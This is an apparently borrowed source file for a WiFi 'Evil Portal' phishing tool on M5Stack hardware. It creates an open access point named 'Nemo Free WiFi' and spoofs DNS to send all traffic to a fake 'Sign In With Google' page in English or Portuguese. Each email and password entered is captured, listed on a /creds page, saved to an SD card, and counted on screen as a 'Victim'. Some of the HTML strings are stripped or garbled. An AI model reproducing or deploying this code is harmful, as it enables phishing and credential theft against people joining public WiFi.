// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
// Retaining the Portuguese translations since this project has a large
// fan base in Brazil. Shouts to CyberJulio as well.
#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
#define SD_CREDS_PATH "/nemo-portal-creds.txt"
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
#endif
#if defined(LANGUAGE_EN_US)
#define LOGIN_TITLE "Sign in"
#define LOGIN_SUBTITLE "Sign In With Google"
#define LOGIN_EMAIL_PLACEHOLDER "Email"
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
#define LOGIN_MESSAGE "Please log in to browse securely."
#define LOGIN_BUTTON "Next"
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
#elif defined(LANGUAGE_PT_BR)
#define LOGIN_TITLE "Fazer login"
#define LOGIN_SUBTITLE "Use sua Conta do Google"
#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."
#endif
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = 0;
String capturedCredentialsHtml = "";
String apSsidName = String(DEFAULT_AP_SSID_NAME);
// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);
void setupWiFi() {
Serial.println("Initializing WiFi");
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}
void printHomeToScreen() {
DISP.fillScreen(BLACK);
DISP.setSwapBytes(true);
DISP.setTextSize(2);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 10);
DISP.print("NEMO PORTAL");
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.setCursor(0, 35);
DISP.print("WiFi IP: ");
DISP.println(AP_GATEWAY);
DISP.printf("SSID: "); //, apSsidName);
DISP.print(apSsidName);
DISP.println("");
DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
}
String getInputValue(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<");
a.replace(">", ">");
a.substring(0, 200);
return a;
}
String getHtmlContents(String body) {
String html =
""
""
"
"
" "
+ apSsidName + ""
" "
" "
" "
""
""
" "
""
"";
return html;
}
String creds_GET() {
return getHtmlContents("" + capturedCredentialsHtml + "
Back to Index
Clear passwords
");
}
String index_GET() {
String loginTitle = String(LOGIN_TITLE);
String loginSubTitle = String(LOGIN_SUBTITLE);
String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
String loginMessage = String(LOGIN_MESSAGE);
String loginButton = String(LOGIN_BUTTON);
return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
}
String index_POST() {
String email = getInputValue("email");
String password = getInputValue("password");
capturedCredentialsHtml = "Email: " + email + "Password: " + password + "" + capturedCredentialsHtml;
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
#endif
return getHtmlContents(LOGIN_AFTER_MESSAGE);
}
String clear_GET() {
String email = "";
String password = "";
capturedCredentialsHtml = "";
totalCapturedCredentials = 0;
return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtmlBack to Index");
}
#if defined(M5LED)
void blinkLed() {
int count = 0;
while (count < 5) {
digitalWrite(M5_LED, LOW);
delay(500);
digitalWrite(M5_LED, HIGH);
delay(500);
count = count + 1;
}
}
#endif
void setupWebServer() {
Serial.println("Starting DNS");
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
Serial.println("Setting up Webserver");
webServer.on("/post", []() {
totalCapturedCredentials = totalCapturedCredentials + 1;
webServer.send(HTTP_CODE, "text/html", index_POST());
#if defined(STICK_C_PLUS) || defined(STICK_C) || defined(STICK_C_PLUS2)
SPEAKER.tone(4000);
delay(50);
SPEAKER.mute();
#elif defined(CARDPUTER)
SPEAKER.tone(4000, 50);
#endif
DISP.print("Victim Login");
#if defined(M5LED)
blinkLed();
#endif
});
Serial.println("Registering /creds");
webServer.on("/creds", []() {
webServer.send(HTTP_CODE, "text/html", creds_GET());
});
Serial.println("Registering /clear");
webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear_GET());
});
Serial.println("Registering /*");
webServer.onNotFound([]() {
lastActivity = millis();
webServer.send(HTTP_CODE, "text/html", index_GET());
});
Serial.println("Starting Webserver");
webServer.begin();
}
void shutdownWebServer() {
Serial.println("Stopping DNS");
dnsServer.stop();
Serial.println("Closing Webserver");
webServer.close();
Serial.println("Stopping Webserver");
webServer.stop();
Serial.println("Setting WiFi to STA mode");
WiFi.mode(WIFI_MODE_STA);
}